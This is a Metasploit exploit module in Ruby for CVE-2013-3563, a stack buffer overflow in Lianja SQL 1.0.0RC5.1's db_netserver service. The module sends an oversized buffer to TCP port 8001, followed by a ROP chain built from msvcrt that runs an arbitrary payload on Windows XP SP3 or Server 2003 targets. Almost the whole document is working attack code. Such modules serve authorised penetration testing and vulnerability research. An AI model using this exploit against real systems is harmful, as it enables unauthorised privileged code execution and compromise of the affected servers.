Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the db_netserver process, which
          is spawned by the Lianja SQL server.  The issue is fixed in Lianja SQL 1.0.0RC5.2.
        },
        'Author' => 'Spencer McIntyre',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-3563' ],
          [ 'OSVDB', '93759' ]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 20
        },
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Payload' => {
          'StackAdjustment' => -3500,
          'Space' => 500,
          'BadChars' => "\x01"
        },
        'Targets' => [
          [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
          [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'DisclosureDate' => '2013-05-22',
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_RESTARTS ],
          'Reliability' => UNKNOWN_RELIABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS,
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8001),
      ]
    )
  end

  def check
    begin
      connect
    rescue
      vprint_error("Unable to connect")
      return Exploit::CheckCode::Unknown('Unable to connect to target')
    end
    sock.put("db_net")
    if sock.recv(4) =~ /\d{1,5}/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    connect
    sock.put("db_net")
    sock.recv(4)

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending Malicious Data")
    evil_data = '000052E1'
    evil_data << 'A'
    evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
    evil_data << generate_rop_payload('msvcrt', payload.encoded, { 'target' => target['rop_target'] })
    sock.put(evil_data)
    disconnect
  end
end